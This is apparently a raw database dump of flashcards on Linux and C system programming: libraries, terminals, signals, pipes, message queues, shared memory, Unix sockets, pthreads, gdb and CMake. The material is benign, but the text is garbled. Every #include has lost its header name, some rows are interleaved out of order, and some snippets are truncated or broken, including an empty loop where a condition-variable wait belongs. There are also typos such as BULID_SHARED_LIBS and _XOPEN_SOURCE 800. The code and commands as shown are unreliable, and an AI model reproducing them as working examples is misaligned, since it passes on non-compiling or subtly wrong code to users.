CURLOPT_URL, "https://ifconfig.me - https://ifconfig.me/ip");\ncurl_easy_perform(curl);\ncurl_easy_cleanup(curl);\n}\nelse\n{\nfprintf(stderr, "curl initialization failed\\\\n");\nreturn 1;\n}\n} code txt 2024-07-28 09:58:35.365179 0 +1136 234 file object.o\nar -cvr libobject.a object.o\nnm libobject.a\nstrip app code txt 2024-07-28 09:58:35.641098 0 +1137 235 gcc -c object.c\nar -cvr libobject.a object.o\ngcc main.c libobject.a -o app text txt 2024-07-28 09:58:35.964319 0 +1138 235 gcc -c -fPIC object.c\ngcc -shared -Wl,-soname,libobject.so -o libobject.so.1 object.o\ngcc -lobject main.c -o app code txt 2024-07-28 09:58:35.985615 0 +1139 236 sudo install -o root -g root -m 644 libobject.a /usr/local/lib/libobject.a code txt 2024-07-28 09:58:36.180186 0 +1140 237 tty\nstty -a code txt 2024-07-28 09:58:36.437831 0 +1141 238 #include \n#include text txt 2024-07-28 09:58:36.808834 0 +1142 238 int main(void)\n{\nif (isatty(STDOUT_FILENO) == 1)\nprintf("tty name: %s\\\\n", ttyname(STDOUT_FILENO));\nelse\nperror("no tty");\n} code txt 2024-07-28 09:58:36.829611 0 +1143 239 #ifndef _XOPEN_SOURCE\n#define _XOPEN_SOURCE 600\n#endif text txt 2024-07-28 09:58:38.498437 0 +1144 239 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:38.519795 0 +1145 239 inline void check_error(int const);\nint read_input(int); text txt 2024-07-28 09:58:38.54135 0 +1146 239 int main(void)\n{\nint master = 0; text txt 2024-07-28 09:58:38.562198 0 +1147 239 check_error((master = posix_openpt(O_RDWR)));\ncheck_error(grantpt(master));\ncheck_error(unlockpt(master)); text txt 2024-07-28 09:58:38.583019 0 +1148 239 printf("slave: %s\\\\n", ptsname(master)); text txt 2024-07-28 09:58:38.604719 0 +1149 239 while (read_input(master))\n{ }\n} text txt 2024-07-28 09:58:38.624407 0 +1150 239 void check_error(int const ret)\n{\nif (ret == -1)\n{\nperror(NULL);\nexit(errno);\n}\n} text txt 2024-07-28 09:58:38.646284 0 +1151 239 int read_input(int pts)\n{\nchar rxbuf[1];\nchar txbuf[3];\nint read_bytes = 0; text txt 2024-07-28 09:58:38.667219 0 +1152 239 if ((read_bytes = read(pts, rxbuf, 1)) == -1)\n{\nperror("input failed");\nread_bytes = 0;\n} text txt 2024-07-28 09:58:38.687249 0 +1153 239 if (read_bytes == 1)\n{\nif ('\\\\r' == rxbuf[0])\n{\nprintf("\\\\n\\\\r");\nsprintf(txbuf, "\\\\n\\\\r");\n}\nelse\n{\nprintf("%c", rxbuf[0]);\nsprintf(txbuf, "%c", rxbuf[0]);\n} text txt 2024-07-28 09:58:38.707708 0 +1154 239 fflush(stdout);\nwrite(pts, txbuf, strlen(txbuf));\n}\nelse\n{\nfprintf(stderr, "disconnected\\\\n\\\\r");\n} text txt 2024-07-28 09:58:38.728051 0 +1155 239 return read_bytes;\n} text txt 2024-07-28 09:58:38.748162 0 +1156 239 code txt 2024-07-28 09:58:38.7681 0 +1157 240 #include \n#include \n#include \n#include text txt 2024-07-28 09:58:39.406664 0 +1158 240 int main(void)\n{\nstruct termios terminal; text txt 2024-07-28 09:58:39.427309 0 +1159 240 tcgetattr(STDIN_FILENO, &terminal);\nterminal.c_lflag = terminal.c_lflag & ~ECHO;\ntcsetattr(STDIN_FILENO, TCSAFLUSH, &terminal); text txt 2024-07-28 09:58:39.448045 0 +1160 240 char buffer[100] = {0}; text txt 2024-07-28 09:58:39.467943 0 +1161 240 printf("Enter sensitive data: ");\nscanf("%s", buffer);\nprintf("\\\\nSpoilers!\\\\nYou entered: %s\\\\n", buffer); text txt 2024-07-28 09:58:39.487762 0 +1162 240 terminal.c_lflag = terminal.c_lflag | ECHO;\ntcsetattr(STDIN_FILENO, TCSAFLUSH, &terminal);\n} code txt 2024-07-28 09:58:39.508899 0 +1163 241 #include \n#include \n#include text txt 2024-07-28 09:58:39.941027 0 +1164 241 int main(void)\n{\nstruct winsize window = {0}; text txt 2024-07-28 09:58:39.961142 0 +1165 241 if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &window) == -1)\nperror("cannot retrieve window size"); text txt 2024-07-28 09:58:39.981989 0 +1166 241 printf("%dx%d\\\\n", window.ws_row, window.ws_col);\n} code txt 2024-07-28 09:58:40.002762 0 +1167 242 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 600\n#endif text txt 2024-07-28 09:58:40.762951 0 +1168 242 #include \n#include \n#include \n#include text txt 2024-07-28 09:58:40.783451 0 +1169 242 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:40.804658 0 +1170 242 int pid = 0;\nsscanf(argv[1], "%d", &pid); text txt 2024-07-28 09:58:40.825816 0 +1171 242 if (kill(pid, SIGINT) == -1)\n{\nfprintf(stderr, "cannot kill process %d: %s\\\\n", pid, strerror(errno));\nreturn errno;\n} text txt 2024-07-28 09:58:40.846932 0 +1174 243 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:42.182441 0 +1175 243 int main(void)\n{\nchar buffer[100] = {0};\nint pipefd[2] = {0};\nint status = 0;\npid_t child = 0; text txt 2024-07-28 09:58:42.202694 0 +1176 243 if (pipe(pipefd) == -1)\n{\nperror("cannot create pipe");\nreturn errno;\n} text txt 2024-07-28 09:58:42.22399 0 +1177 243 if ((child = fork()) == -1)\n{\nperror("cannot fork");\nreturn errno;\n} text txt 2024-07-28 09:58:42.244343 0 +1178 243 if (0 == child)\n{\nclose(pipefd[STDOUT_FILENO]); text txt 2024-07-28 09:58:42.264309 0 +1179 243 printf("child: %d\\\\n", getpid()); text txt 2024-07-28 09:58:42.28461 0 +1180 243 if (read(pipefd[STDIN_FILENO], buffer, sizeof(buffer)) == -1)\n{\nperror("cannot read from pipe");\nreturn errno;\n} text txt 2024-07-28 09:58:42.305584 0 +1181 243 printf("%s\\\\n", buffer); text txt 2024-07-28 09:58:42.325833 0 +1182 243 close(pipefd[STDIN_FILENO]);\n}\nelse\n{\nclose(pipefd[STDIN_FILENO]); text txt 2024-07-28 09:58:42.346248 0 +1183 243 printf("parent: %d - child: %d\\\\n", getpid(), child);\ndprintf(pipefd[STDOUT_FILENO], "parent starting conversation"); text txt 2024-07-28 09:58:42.366771 0 +1184 243 close(pipefd[STDOUT_FILENO]);\nwaitpid(child, &status, 0);\n}\n} code txt 2024-07-28 09:58:42.387678 0 +1185 244 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 200809L\n#endif text txt 2024-07-28 09:58:44.338425 0 +1186 244 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:44.35956 0 +1187 244 int fifofd = 0;\nchar const *fifoname = "/tmp/named-pipe"; text txt 2024-07-28 09:58:44.380203 0 +1188 244 inline void close_pipe(void);\ninline void remove_pipe(void);\ninline void setup_signals(void); text txt 2024-07-28 09:58:44.400333 0 +1189 244 void clean_up(int); text txt 2024-07-28 09:58:44.420852 0 +1190 244 int main(int argc, char **argv)\n{\ntime_t now = time(NULL); text txt 2024-07-28 09:58:44.442148 0 +1191 244 setup_signals(); text txt 2024-07-28 09:58:44.462761 0 +1192 244 if (mkfifo(fifoname, 0600) == -1)\n{\nperror("cannot create named pipe");\nreturn errno;\n} text txt 2024-07-28 09:58:44.483682 0 +1193 244 if ((fifofd = open(fifoname, O_WRONLY)) == -1)\n{\nperror("cannot open named pipe");\nremove_pipe();\nreturn errno;\n} text txt 2024-07-28 09:58:44.504083 0 +1194 244 if (dprintf(fifofd, "%s\\\\n", ctime(&now)) == -1)\n{\nperror("failed to write into named pipe");\nclean_up(0);\nreturn errno;\n} text txt 2024-07-28 09:58:44.524851 0 +1195 244 clean_up(0);\n} text txt 2024-07-28 09:58:44.546537 0 +1196 244 void clean_up(int signal)\n{\nclose_pipe();\nremove_pipe();\nexit(errno);\n} text txt 2024-07-28 09:58:44.566932 0 +1197 244 void close_pipe(void)\n{\nif (close(fifofd) == -1)\n{\nperror("failed to close named pipe");\n}\n} text txt 2024-07-28 09:58:44.587847 0 +1198 244 void remove_pipe(void)\n{\nif (unlink(fifoname) == -1)\n{\nperror("failed to remove named pipe");\n}\n} text txt 2024-07-28 09:58:44.608945 0 +1199 244 void setup_signals(void)\n{\nstruct sigaction action;\naction.sa_flags = SA_RESTART;\naction.sa_handler = clean_up;\nsigfillset(&action.sa_mask);\nsigaction(SIGINT, &action, NULL);\nsigaction(SIGTERM, &action, NULL);\nsigaction(SIGABRT, &action, NULL);\nsigaction(SIGQUIT, &action, NULL);\nsigaction(SIGHUP, &action, NULL);\nsigaction(SIGPIPE, &action, NULL);\n} code txt 2024-07-28 09:58:44.628658 0 +1200 245 #include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:45.627112 0 +1201 245 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:45.648009 0 +1202 245 int fd = 0;\nchar message[100] = {0};\nstrncpy(message, argv[1], sizeof(message)); text txt 2024-07-28 09:58:45.669214 0 +1203 245 struct mq_attr attributes;\nattributes.mq_maxmsg = 10;\nattributes.mq_msgsize = 100; text txt 2024-07-28 09:58:45.690389 0 +1204 245 fd = mq_open("/msgs", O_CREAT|O_RDWR, S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH, &attributes);\nif (fd == -1)\n{\nperror("cannot create message queue");\nreturn errno;\n} text txt 2024-07-28 09:58:45.711455 0 +1205 245 if (mq_send(fd, message, strlen(message), 1) == -1)\nperror("failed to write into message queue"); text txt 2024-07-28 09:58:45.732711 0 +1206 245 if (mq_close(fd) == -1)\n{\nperror("cannot close message queue");\nreturn errno;\n}\n} code txt 2024-07-28 09:58:45.753028 0 +1207 246 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:47.133859 0 +1208 246 int main(void)\n{\nint fd = 0; text txt 2024-07-28 09:58:47.155273 0 +1209 246 struct mq_attr attributes; text txt 2024-07-28 09:58:47.175581 0 +1210 246 if ((fd = mq_open("/msgs", O_RDONLY)) == -1)\n{\nperror("cannot open message queue");\nreturn errno;\n} text txt 2024-07-28 09:58:47.196221 0 +1211 246 if (mq_getattr(fd, &attributes) == -1)\n{\nperror("cannot get message queue attributes");\nreturn errno;\n} text txt 2024-07-28 09:58:47.217015 0 +1212 246 char *buffer = NULL;\nif ((buffer = calloc(attributes.mq_msgsize, sizeof(char))) == NULL)\n{\nperror("cannot allocate memory for message queue");\nreturn errno;\n} text txt 2024-07-28 09:58:47.238061 0 +1213 246 printf("%ld messages in queue\\\\n", attributes.mq_curmsgs); text txt 2024-07-28 09:58:47.259472 0 +1214 246 for (int i = 0; i < attributes.mq_curmsgs; ++i)\n{\nif (mq_receive(fd, buffer, attributes.mq_msgsize, NULL) == -1)\n{\nperror("failed to receive message");\n} text txt 2024-07-28 09:58:47.281916 0 +1215 246 printf("%s\\\\n", buffer);\nmemset(buffer, '\\\\0', attributes.mq_msgsize);\n} text txt 2024-07-28 09:58:47.302552 0 +1216 246 free(buffer); text txt 2024-07-28 09:58:47.322229 0 +1217 246 if (mq_close(fd) == -1)\n{\nperror("cannot close message queue descriptor");\n} text txt 2024-07-28 09:58:47.343347 0 +1218 246 if (mq_unlink("/msgs") == -1)\n{\nperror("cannot remove message queue");\n} text txt 2024-07-28 09:58:47.364605 0 +1219 246 return errno;\n} code txt 2024-07-28 09:58:47.386636 0 +1220 247 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:48.603156 0 +1221 247 int main(void)\n{\nchar *mem_name = NULL;\nint status = 0;\npid_t child = 0; text txt 2024-07-28 09:58:48.624501 0 +1222 247 mem_name = mmap(NULL, 100, PROT_WRITE|PROT_READ, MAP_SHARED|MAP_ANONYMOUS, -1, 0);\nif (mem_name == MAP_FAILED)\n{\nperror("memory map failed");\nreturn errno;\n} text txt 2024-07-28 09:58:48.646766 0 +1223 247 char const *parent_msg = "parent message";\nchar const *child_msg = "child message"; text txt 2024-07-28 09:58:48.667795 0 +1224 247 if ((child = fork()) == -1)\n{\nperror("cannot fork");\nreturn errno;\n} text txt 2024-07-28 09:58:48.689094 0 +1225 247 if (0 == child)\n{\nmemcpy(mem_name, child_msg, strlen(child_msg) + 1);\nprintf("parent %d: %s\\\\n", getpid(), mem_name);\n}\nelse\n{\nwaitpid(child, &status, 0);\nmemcpy(mem_name, parent_msg, strlen(parent_msg) + 1);\nprintf("child %d: %s\\\\n", child, mem_name);\n} text txt 2024-07-28 09:58:48.710327 0 +1226 247 munmap(mem_name, 100);\n} code txt 2024-07-28 09:58:48.730916 0 +1227 248 code txt 2024-07-28 09:58:48.857466 0 +1228 249 #ifndef _XOPEN_SOURCE\n#define _XOPEN_SOURCE 800\n#endif text txt 2024-07-28 09:58:51.795304 0 +1288 255 run args code txt 2024-07-28 09:58:57.248865 0 +1229 249 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:51.815769 0 +1230 249 char const *socket_name = "/tmp/socket";\nint connection = 0;\nint client = 0; text txt 2024-07-28 09:58:51.836352 0 +1231 249 void clean_up(int);\nvoid setup_signals(void);\nint setup_connection(void);\nint get_client(int);\nvoid message_client(int, int); text txt 2024-07-28 09:58:51.856712 0 +1232 249 int main(void)\n{\nsetup_signals();\nconnection = setup_connection();\nclient = get_client(connection);\nmessage_client(connection, client);\n} text txt 2024-07-28 09:58:51.877992 0 +1233 249 void setup_signals(void)\n{\nstruct sigaction action;\naction.sa_flags = SA_RESTART;\naction.sa_handler = clean_up;\nsigfillset(&action.sa_mask);\nsigaction(SIGINT, &action, NULL);\nsigaction(SIGTERM, &action, NULL);\nsigaction(SIGABRT, &action, NULL);\nsigaction(SIGQUIT, &action, NULL);\nsigaction(SIGHUP, &action, NULL);\nsigaction(SIGPIPE, &action, NULL);\n} text txt 2024-07-28 09:58:51.900445 0 +1234 249 int setup_connection(void)\n{\nint connection = 0;\nif ((connection = socket(AF_UNIX, SOCK_SEQPACKET, 0)) == -1)\n{\nperror("cannot create socket");\nexit(errno);\n} text txt 2024-07-28 09:58:51.922063 0 +1235 249 struct sockaddr_un address;\naddress.sun_family = AF_UNIX;\nstrncpy(address.sun_path, socket_name, sizeof(address.sun_path)); text txt 2024-07-28 09:58:51.943127 0 +1236 249 if (bind(connection, (struct sockaddr const*)&address, sizeof(address)) == -1)\n{\nperror("cannot bind to socket");\nclose(connection);\nexit(errno);\n} text txt 2024-07-28 09:58:51.963535 0 +1237 249 if (listen(connection, 10) == -1)\n{\nperror("cannot listen to socket");\nclose(connection);\nexit(errno);\n} text txt 2024-07-28 09:58:51.984271 0 +1238 249 return connection;\n} text txt 2024-07-28 09:58:52.005077 0 +1239 249 int get_client(int connection)\n{\nint client = 0; text txt 2024-07-28 09:58:52.025525 0 +1240 249 if ((client = accept(connection, NULL, NULL)) == -1)\n{\nperror("cannot accept new connection");\nclose(connection);\nexit(errno);\n} text txt 2024-07-28 09:58:52.047111 0 +1241 249 return client;\n} text txt 2024-07-28 09:58:52.068156 0 +1242 249 void message_client(int connection, int client)\n{\nint bytes_read = 0;\nchar buffer[100] = {0}; text txt 2024-07-28 09:58:52.090146 0 +1243 249 while (1)\n{\nif ((bytes_read = read(client, buffer, sizeof(buffer))) == -1)\n{\nperror("failed to read from client");\nclean_up(0);\n}\nelse if (bytes_read == 0)\n{\nfprintf(stderr, "client disconnected\\\\n");\nclean_up(0);\n}\nelse\n{\nprintf("message: %s\\\\n", buffer);\n} text txt 2024-07-28 09:58:52.112595 0 +1244 249 write(client, "message received\\\\n", 18);\n}\n} text txt 2024-07-28 09:58:52.133596 0 +1245 249 void clean_up(int signal)\n{\nprintf("\\\\nuser interrupted\\\\n"); text txt 2024-07-28 09:58:52.154057 0 +1246 249 if (close(connection) == -1)\nperror("cannot close connection"); text txt 2024-07-28 09:58:52.175562 0 +1247 249 if (close(client) == -1)\nperror("cannot disconnect client"); text txt 2024-07-28 09:58:52.19693 0 +1248 249 if (unlink(socket_name) == -1)\nperror("cannot remove socket"); text txt 2024-07-28 09:58:52.217103 0 +1249 249 exit(errno);\n} code txt 2024-07-28 09:58:52.23745 0 +1250 250 code txt 2024-07-28 09:58:52.35876 0 +1251 251 #include \n#include \n#include text txt 2024-07-28 09:58:53.445376 0 +1252 251 void *worker(void *);\nvoid *progress(void *); text txt 2024-07-28 09:58:53.466179 0 +1253 251 int main()\n{\npthread_t worker_thread = 0;\npthread_t progress_thread = 0;\npthread_attr_t attributes; text txt 2024-07-28 09:58:53.487412 0 +1254 251 pthread_attr_init(&attributes);\npthread_create(&worker_thread, &attributes, worker, NULL);\npthread_create(&progress_thread, &attributes, progress, NULL);\npthread_detach(progress_thread);\npthread_join(worker_thread, NULL);\npthread_attr_destroy(&attributes);\npthread_cancel(progress_thread);\n} text txt 2024-07-28 09:58:53.507979 0 +1255 251 void *worker(void *arg)\n{\nsleep(3); text txt 2024-07-28 09:58:53.529003 0 +1257 251 void *progress(void *arg)\n{\nfor (;;)\n{\nsleep(1);\nputchar('.');\nfflush(stdout);\n} text txt 2024-07-28 09:58:53.570118 0 +1259 252 #include \n#include \n#include text txt 2024-07-28 09:58:55.057191 0 +1260 252 void *add(void *);\nvoid *progress(void *); text txt 2024-07-28 09:58:55.07821 0 +1261 252 pthread_mutex_t add_mutex; text txt 2024-07-28 09:58:55.099467 0 +1262 252 int main(void)\n{\npthread_attr_t attributes;\npthread_attr_init(&attributes); text txt 2024-07-28 09:58:55.120495 0 +1263 252 pthread_t add_worker1, add_worker2, progress_worker; text txt 2024-07-28 09:58:55.141733 0 +1264 252 pthread_mutex_init(&add_mutex, NULL); text txt 2024-07-28 09:58:55.161703 0 +1265 252 pthread_create(&progress_worker, &attributes, progress, NULL);\npthread_detach(progress_worker); text txt 2024-07-28 09:58:55.181849 0 +1266 252 pthread_create(&add_worker1, &attributes, add, NULL);\npthread_create(&add_worker2, &attributes, add, NULL); text txt 2024-07-28 09:58:55.201879 0 +1267 252 pthread_join(add_worker1, NULL);\npthread_join(add_worker2, NULL); text txt 2024-07-28 09:58:55.222978 0 +1268 252 pthread_cancel(progress_worker); text txt 2024-07-28 09:58:55.243907 0 +1269 252 pthread_mutex_destroy(&add_mutex);\n} text txt 2024-07-28 09:58:55.265536 0 +1270 252 void *add(void *arg)\n{\npthread_mutex_lock(&add_mutex);\nsleep(1);\npthread_mutex_unlock(&add_mutex);\nreturn NULL;\n} text txt 2024-07-28 09:58:55.286335 0 +1271 252 void *progress(void *arg)\n{\nint milli = 3;\nint max = milli * 100000; text txt 2024-07-28 09:58:55.307789 0 +1272 252 printf("waiting"); text txt 2024-07-28 09:58:55.329019 0 +1273 252 while (1)\n{\nfor (int i = 0; i < 3; ++i)\n{\nputchar('.');\nfflush(stdout);\nusleep(max);\n}\nprintf("\\\\b\\\\b\\\\b \\\\b\\\\b\\\\b");\n} text txt 2024-07-28 09:58:55.349502 0 +1275 253 #include \n#include \n#include text txt 2024-07-28 09:58:56.63217 0 +1276 253 void *delay(void *);\nvoid *progress(void *); text txt 2024-07-28 09:58:56.651724 0 +1277 253 pthread_mutex_t delay_mutex;\npthread_cond_t delay_cond; text txt 2024-07-28 09:58:56.672443 0 +1278 253 int main(void)\n{\npthread_t delay_thread;\npthread_t progress_thread; text txt 2024-07-28 09:58:56.692494 0 +1279 253 pthread_mutex_init(&delay_mutex, NULL);\npthread_cond_init(&delay_cond, NULL); text txt 2024-07-28 09:58:56.713752 0 +1280 253 pthread_attr_t attributes;\npthread_attr_init(&attributes); text txt 2024-07-28 09:58:56.734649 0 +1281 253 pthread_create(&delay_thread, &attributes, delay, NULL);\npthread_create(&progress_thread, &attributes, progress, NULL); text txt 2024-07-28 09:58:56.756739 0 +1282 253 pthread_mutex_lock(&delay_mutex);\nfor (int i = 0; i < 2; ++i)\n{\n}\npthread_mutex_unlock(&delay_mutex); text txt 2024-07-28 09:58:56.777817 0 +1283 253 pthread_detach(progress_thread);\npthread_join(delay_thread, NULL); text txt 2024-07-28 09:58:56.799605 0 +1284 253 pthread_attr_destroy(&attributes);\npthread_cancel(progress_thread);\n} text txt 2024-07-28 09:58:56.821105 0 +1285 253 void *delay(void *arg)\n{\nsleep(1);\nreturn NULL;\n} text txt 2024-07-28 09:58:56.841839 0 +1286 253 void *progress(void *arg)\n{\nwhile (1)\n{\nputchar('.');\nfflush(stdout);\nusleep(100000);\n}\nreturn NULL;\n} code txt 2024-07-28 09:58:56.862547 0 +1287 254 gdb -q ./program code txt 2024-07-28 09:58:57.107136 0 +1289 256 break main code txt 2024-07-28 09:58:57.419713 0 +1290 257 watch var code txt 2024-07-28 09:58:57.562244 0 +1291 258 next code txt 2024-07-28 09:58:57.700024 0 +1292 259 print var code txt 2024-07-28 09:58:57.866573 0 +1293 260 step code txt 2024-07-28 09:58:58.005772 0 +1294 261 finish code txt 2024-07-28 09:58:58.152782 0 +1295 262 x/20bd text\nx/8x $rip code txt 2024-07-28 09:58:58.345629 0 +1296 263 set var = 20\nset text[20] = '\\\\0'\nx/20bd text code txt 2024-07-28 09:58:58.55016 0 +1297 264 break main\nset follow-fork-mode child\nrun code txt 2024-07-28 09:58:58.727749 0 +1298 265 info threads\nthread 3\nnext code txt 2024-07-28 09:58:58.910322 0 +1299 266 valgrind ./leaked code txt 2024-07-28 09:58:59.074592 0 +1300 267 cmake_minimum_required(VERSION 3.20 FATAL)\nproject(Flashback LANGUAGES CXX)\nadd_executable(flashback src/main.cpp) code txt 2024-07-28 09:59:00.620805 0 +1301 268 cmake -S -B code txt 2024-07-28 09:59:00.827933 0 +1302 269 cmake --build code txt 2024-07-28 09:59:01.036843 0 +1303 270 cmake --build --target code txt 2024-07-28 09:59:01.249817 0 +1304 271 cmake --build --target help code txt 2024-07-28 09:59:01.459094 0 +1305 272 - `all`: the default target which builds all targets not `EXLUDED_FROM_ALL`.\n- `clean`: remove all generated artifacts.\n- `depend`: generate the dependencies, if any, for the source files.\n- `rebuild_cache`: rebuild `CMakeCache.txt`.\n- `edit_cache`: edit cache entries directly. text txt 2024-07-28 09:59:01.700587 0 +1306 273 cmake -S -B -G \ncmake -S . -B build -G 'Unix Makefiles' code txt 2024-07-28 09:59:01.92967 0 +1307 274 1. `STATIC`: archives of object files for use when linking other targets.\n2. `SHARED`: libraries that can be linked and loaded at runtime.\n3. `OBJECT`: compile sources in the list to object files, but then neither\n archive into a static library nor linking them into a shared object. The\n use of object libraries is particularly useful if one needs to create both\n static and shared libraries in one go.\n4. `MODULE`: similar to dynamic shared objects (DSO) but not linked to any\n other target within the project, but may be loaded dynamicly later on.\n Useful for building a runtime plugin.\n5. `IMPORTED`: library located outside the project. Useful to model\n pre-existing dependencies of the project that are provided by upstream\n packages. As such these libraries are immutable.\n6. `INTERFACE`: special library similar to `IMPORTED`, but it is mutable and\n has no location. Useful to model usage requirements for a target that is\n outside our project.\n7. `ALIAS`: an alias for pre-existing library target within the project. text txt 2024-07-28 09:59:02.377099 0 +1308 275 cmake_minimum_required(VERSION 3.20 FATAL_ERROR)\nproject(Sample LANGUAGES CXX)\nadd_executable(program main.cpp)\nadd_library(message-shared SHARED message.hpp message.cpp)\nadd_library(message-static STATIC message.hpp message.cpp)\ntarget_link_libraries(program message-shared) code txt 2024-07-28 09:59:02.73341 0 +1309 276 cmake_minimum_required(VERSION 3.20 FATAL_ERROR)\nproject(Sample LANGUAGES CXX)\nadd_executable(program main.cpp)\nadd_library(message-object OBJECT message.hpp message.cpp)\nset_target_properties(message-object PROPERTIES POSITION_INDEPENDENT_CODE 1)\nadd_library(message-shared SHARED $)\nset_target_properties(message-shared PROPERTIES OUTPUT_NAME "message")\nadd_library(message-static STATIC $)\nset_target_properties(message-static PROPERTIES OUTPUT_NAME "message")\ntarget_link_libraries(program message-shared) code txt 2024-07-28 09:59:03.132371 0 +1310 277 PIE is enabled by default on Linux and Mac OSX. text txt 2024-07-28 09:59:03.38243 0 +1311 277 set_target_properties(target PROPERTIES POSITION_INDEPENDENT_CODE 1) code txt 2024-07-28 09:59:03.403664 0 +1312 278 set_target_properties(target PROPERTIES OUTPUT_NAME "primary_target") code txt 2024-07-28 09:59:03.619434 0 +1313 279 `BUILD_SHARED_LIBS` is a global flag offered by cmake. text txt 2024-07-28 09:59:04.039737 0 +1314 279 `add_library` can be invoked without passing the `STATIC/SHARED/OBJECT`\nargument. This command will internally lookup `BUILD_SHARED_LIBS` and will\nuse `SHARED` when set, otherwise it uses `STATIC`. text txt 2024-07-28 09:59:04.060539 0 +1315 279 add_library(message message.hpp message.cpp) code txt 2024-07-28 09:59:04.081008 0 +1316 279 cmake -S -B -D BUILD_SHARED_LIBS=ON code txt 2024-07-28 09:59:04.101 0 +1317 280 - A logical variable is true if it set to any of the `1, ON, YES, TRUE, Y`,\n or a non-zero number.\n- A logical variable is false if is set to any of the `0, OFF, NO, FALSE, N,\n IGNORE, NOTFOUND`, an empty string, or a string ending with `-NOTFOUND`. text txt 2024-07-28 09:59:04.343306 0 +1318 281 cmake_minimum_required(VERSION 3.20 FATAL_ERROR)\nproject(Sample LANGUAGES CXX) text txt 2024-07-28 09:59:04.959747 0 +1319 281 set(USE_LIBRARY OFF)\nset(BULID_SHARED_LIBS OFF) text txt 2024-07-28 09:59:04.980769 0 +1320 281 if(USE_LIBRARY)\n add_library(message message.hpp message.cpp)\n add_executable(program main.cpp)\n target_link_libraries(program message)\nelse()\n add_executable(program main.cpp ${message_files})\nendif() code txt 2024-07-28 09:59:05.001334 0 +1321 281 Use following command to check if library is built into the executable: text txt 2024-07-28 09:59:05.022421 0 +1322 281 objdump --syms build/program code txt 2024-07-28 09:59:05.041762 0 +1323 282 Introducing variables with a given truth value hardcoded, prevents users of\nyour code from easily toggling these variables. Also, cmake does not\ncommunicate to the reader that this is a value that is expected to be\nmodified. The recommended way to toggle behavior in the build system\ngeneration for your project is to present logical switches as options using\n`option()` command. text txt 2024-07-28 09:59:05.661644 0 +1324 282 cmake_minimum_required(VERSION 3.20 FATAL_ERROR)\nproject(Sample LANGUAGES CXX) text txt 2024-07-28 09:59:05.682879 0 +1325 282 option(USE_LIBRARY "Compile sources into a library" OFF)\nlist(APPEND message_files message.hpp message.cpp) text txt 2024-07-28 09:59:05.703737 0 +1326 282 if(USE_LIBRARY)\n add_library(message ${message_files})\n add_executable(program main.cpp)\n target_link_libraries(program message)\nelse()\n add_executable(program main.cpp ${message_files})\nendif() code txt 2024-07-28 09:59:05.724537 0 +1327 283 list(APPEND source_files main.cpp message.cpp ...)\nadd_executable(runtime ${source_files})\nadd_library(library ${source_files}) code txt 2024-07-28 09:59:05.99401 0 +1328 284 include(CMakeDependentOption) text txt 2024-07-28 09:59:06.433223 0 +1329 284 cmake_dependent_option(MAKE_STATIC_LIBRARY "Compile sources into a static library" OFF "USE_LIBRARY" ON)\ncmake_dependent_option(MAKE_SHARED_LIBRARY "Compile sources into a shared library" ON "USE_LIBRARY" ON) code txt 2024-07-28 09:59:06.454584 0 +1330 284 If `USE_LIBRARY` is `ON`, `MAKE_SHARED_LIBRARY` defaults to `OFF`, while\n`MAKE_STATIC_LIBRARY` defaults to `ON`. So we can run this: text txt 2024-07-28 09:59:06.474901 0 +1331 284 cmake -S -B -D USE_LIBRARY=ON -D MAKE_SHARED_LIBRARY=ON code txt 2024-07-28 09:59:06.49531 0 +1332 285 cmake -S ./project -B ./build code txt 2024-07-28 09:59:06.933221 0 +1333 286 Selecting and configuring a generator decides which build tool from our\nsystem will be used for building. This can be overridden by the\n`CMAKE_GENERATOR` environment variable or by specifying the generator\ndirectly on the command line. text txt 2024-07-28 09:59:07.276683 0 +1334 286 cmake -G code txt 2024-07-28 09:59:07.297093 0 +1389 310 cmake --install --component code txt 2024-07-28 09:59:15.279148 0 +2087 483 #include \n#include text txt 2024-07-28 10:01:28.245848 0 +1335 287 Some generators (such as Visual Studio) support a more in-depth specification\nof a toolset (compiler) and platform (compiler or SDK). Additionally, these\nhave respective environment variables that override the default values:\n`CMAKE_GENERATOR_TOOLSET` and `CMAKE_GENERATOR_PLATFORM`. text txt 2024-07-28 09:59:07.611361 0 +1336 287 cmake -G -T -A   code txt 2024-07-28 09:59:07.632085 0 +1337 288 We can provide a path to the CMake script, which (only) contains a list of\n`set()` commands to specify variables that will be used to initialize an\nempty build tree. text txt 2024-07-28 09:59:07.922848 0 +1338 288 cmake -C code txt 2024-07-28 09:59:07.943462 0 +1339 289 The initialization and modification of existing cache variables can be done\nin command line, as follows: text txt 2024-07-28 09:59:08.32102 0 +1340 289 cmake -D [:]= code txt 2024-07-28 09:59:08.341163 0 +1341 289 The `:` section is optional (it is used by GUIs); you can use `BOOL`,\n`FILEPATH`, `PATH`, `STRING`, or `INTERNAL`. text txt 2024-07-28 09:59:08.361733 0 +1342 289 If you omit the type, it will be set to the type of an already existing\nvariable; otherwise, it will be set to `UNINITIALIZED`. text txt 2024-07-28 09:59:08.381821 0 +1343 290 For single-configuration generators (such as Make and Ninja), you'll need to\nspecify it during the configuration phase with the `CMAKE_BUILD_TYPE`\nvariable and generate a separate build tree for each type of config: text txt 2024-07-28 09:59:08.840371 0 +1344 290 * `Debug`\n* `Release`\n* `MinSizeRel`\n* `RelWithDebInfo` text txt 2024-07-28 09:59:08.860361 0 +1345 290 cmake -S . -B build -D CMAKE_BUILD_TYPE=Release code txt 2024-07-28 09:59:08.879863 0 +1346 290 Custom variables that are added manually with the `-D` option won't be\nvisible in cache variables list unless you specify one of the supported\ntypes. text txt 